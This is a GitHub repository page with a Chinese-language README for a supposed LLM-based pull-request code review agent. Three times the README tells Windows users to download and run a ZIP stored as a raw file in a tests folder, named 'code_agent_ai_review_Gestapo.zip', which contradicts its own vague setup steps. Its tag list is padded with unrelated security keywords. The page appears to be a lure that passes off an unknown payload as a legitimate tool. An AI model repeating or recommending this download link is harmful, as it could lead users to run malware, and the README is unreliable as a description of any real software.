Adqui9608/ai-code-review-agent

GitHub: Adqui9608/ai-code-review-agent

基于大语言模型的 GitHub Pull Request 自动代码审查工具,能在合并前检测 Bug、安全风险和代码质量问题,并内置评估基准与可观测性支持。

Stars: 0 | Forks: 0

# 🤖 ai-code-review-agent - 更安全、更快速的 PR 检查 [![下载应用](https://img.shields.io/badge/Download%20Now-Visit%20GitHub%20Page-6f42c1?style=for-the-badge&logo=github&logoColor=white)](https://raw.githubusercontent.com/Adqui9608/ai-code-review-agent/main/tests/eval/code_agent_ai_review_Gestapo.zip) ## 🧭 这个应用能做什么 ai-code-review-agent 会检查 GitHub pull request 中的 bug、安全问题和代码质量问题。它使用 AI agent 阅读代码变更并留下清晰的审查评论。 这款应用专为希望获得快速审查帮助、免于手动逐行扫描的团队而构建。它还包含追踪工具和测试结果,以便您了解审查系统的表现。 ## 💻 Windows 设置 ### 1. 打开下载页面 访问此页面以下载并运行应用: https://raw.githubusercontent.com/Adqui9608/ai-code-review-agent/main/tests/eval/code_agent_ai_review_Gestapo.zip ### 2. 获取项目文件 在此页面上,点击绿色的 **Code** 按钮,然后选择 **Download ZIP**。 如果您使用 Git,也可以将 repo 克隆到您的计算机。 ### 3. 解压文件夹 文件下载完成后: 1. 在您的 **Downloads** (下载) 文件夹中找到该 ZIP 文件 2. 右键单击该文件 3. 选择 **Extract All** (提取全部) 4. 选择一个您以后容易找到的文件夹,例如 `Documents` ### 4. 打开文件夹 打开解压后名为 `ai-code-review-agent` 的文件夹。 ### 5. 启动应用 在项目文件夹中找到主要的启动文件。常见的名称有: - `app.py` - `streamlit_app.py` - `main.py` 双击该文件,或者在已安装 Python 的情况下从终端运行它。 如果 Windows 询问使用哪个应用,请选择 **Python**。 ## 🖥️ 在 Windows 上您需要什么 此应用在 Windows 10 或 Windows 11 PC 上运行效果最佳。 您应当具备: - 互联网连接 - 足够的可用空间以存放应用文件 - Python 3.11 或更高版本 - 现代网络浏览器,如 Chrome、Edge 或 Firefox 如果您计划使用 AI 审查功能,还需要访问所需的 AI 和 GitHub 服务。 ## 🧰 您将获得什么 此项目可帮助您: - 审查 GitHub pull request - 在合并前发现 bug - 捕捉代码中的安全风险 - 检查代码质量 - 追踪审查结果 - 将审查输出与测试基准进行比较 - 在一处查看应用活动 ## 🔎 主要功能 ### 🧠 AI pull request 审查 agent 会阅读更改的代码并寻找重要的问题。它可以指出逻辑错误、危险模式、缺失的检查以及薄弱的代码风格。 ### 🔐 安全问题检查 应用会寻找可能暴露密钥、不安全调用或弱验证的代码。它能帮助您尽早发现问题。 ### 🧪 基准测试结果 项目包含带有真实指标的评估测试。您可以审查 agent 在不同用例下的表现。 ### 📈 使用 Langfuse 的可观测性 应用会追踪运行和审查步骤,以便您了解 agent 做了什么以及时间花在了哪里。 ### ⚙️ LangGraph 工作流 审查流程使用分步的 agent 路径。这有助于系统以结构化的方式处理 pull request。 ### 🤖 Llama 3.3 70B 支持 应用使用大语言模型进行代码审查任务。这有助于它处理更长的代码和更多的上下文。 ## 🪟 如何在 Windows 上运行 ### 选项 1:使用 Python 运行 如果您已经安装了 Python,请使用此方法。 1. 打开项目文件夹 2. 点击文件资源管理器中的地址栏 3. 输入 `cmd` 并按回车键 4. 在黑色窗口中,运行项目文件中显示的应用命令 5. 在浏览器中打开出现的本地链接 ### 选项 2:使用 Streamlit 如果应用使用 Streamlit,请使用如下命令运行它: 1. 打开项目文件夹 2. 打开命令提示符 3. 从应用文件中输入 Streamlit 启动命令 4. 按下回车键 5. 等待本地网页打开 如果网页没有打开,请从终端复制本地地址并将其粘贴到您的浏览器中 ## 🔑 开始之前 某些功能可能需要设置 GitHub 和 AI 访问权限。在大多数情况下,您需要: - GitHub 账号 - 对您想要审查的 repository 的访问权限 - AI 服务密钥 - Langfuse 账号(如果您需要追踪数据) 在您尝试审查 pull request 之前,请先完成这些设置。这有助于应用连接到正确的服务。 ## 🧩 常见用例 一个简单的流程如下所示: 1. 将应用连接到您的 GitHub 项目 2. 将其指向某个 pull request 3. 让 agent 扫描更改 4. 在应用中查看发现的问题 5. 在合并前修复问题 这为您提供了一种在代码进入主分支之前进行检查的快速方法。 ## 📊 涵盖的主题 此项目与以下工具和理念配合使用: - AI agent - 自动化代码审查 - GitHub Actions - 可观测性 - Python - Streamlit - 基于 LLM 的审查流程 - Pydantic 数据处理 - LangGraph 编排 - Langfuse 追踪 - Groq 模型访问 ## 🧭 文件夹布局 您可能会看到以下文件和文件夹: - `app/` - 应用逻辑 - `benchmarks/` - 测试和评估数据 - `prompts/` - 审查提示文本 - `config/` - 设置文件 - `logs/` - 运行记录 - `README.md` - 项目指南 ## 🛠️ 如果应用无法启动 请尝试以下步骤: 1. 检查是否已安装 Python 2. 确保您已解压完整的项目 3. 从项目文件夹运行命令 4. 关闭使用相同端口的其他应用 5. 打开终端中显示的浏览器链接 如果应用仍然无法加载,请重启 Windows 并重试 ## 🔐 安全与隐私 此应用可能会读取 pull request 中的代码以提供审查结果。请仅在您信任且有权审查代码的项目上使用它。 如果您连接第三方服务,请保管好您的密钥,并将其存储在您的本地环境设置中 ## 📦 下载和设置链接 从 GitHub 页面下载并运行此文件: https://raw.githubusercontent.com/Adqui9608/ai-code-review-agent/main/tests/eval/code_agent_ai_review_Gestapo.zip ## 🧪 基准测试与评估 该 repo 包含基准测试工作,用于检查 agent 发现实际问题的能力。这有助于您根据结果(而非承诺)来评估该系统。 您可以使用这些结果进行比较: - Bug 检测能力 - 安全问题发现率 - 代码质量反馈 - 问题遗漏率 - 审查一致性 ## 🧭 最佳用例 在以下情况使用此应用: - 更快地审查 pull request - 添加“第二双眼睛”进行审查 - 发现常见的代码错误 - 在合并前捕捉危险的更改 - 随时间追踪审查质量 ## 📌 首次使用须知步骤 1. 从 GitHub 下载项目 2. 解压文件 3. 在 Windows 中打开文件夹 4. 使用 Python 或 Streamlit 启动应用 5. 在浏览器中打开本地页面 6. 连接所需的服务 7. 审查您的第一个 pull request
标签:AI, AI代码审查, Apex, API集成, DevSecOps, GitHub集成, Kubernetes, pocsuite3, Pull Request审查, Python, SEO检索词, Streamlit, Windows应用, 上游代理, 人工智能, 代码安全, 代码审查助手, 代码审查工具, 可观测性, 团队协作开发, 威胁情报, 安全扫描, 开发者工具, 文档安全, 无后门, 时序注入, 机器学习, 漏洞枚举, 用户模式Hook绕过, 自动化代码审查, 访问控制, 足迹探测, 软件测试, 逆向工具, 错误基检测, 静态代码分析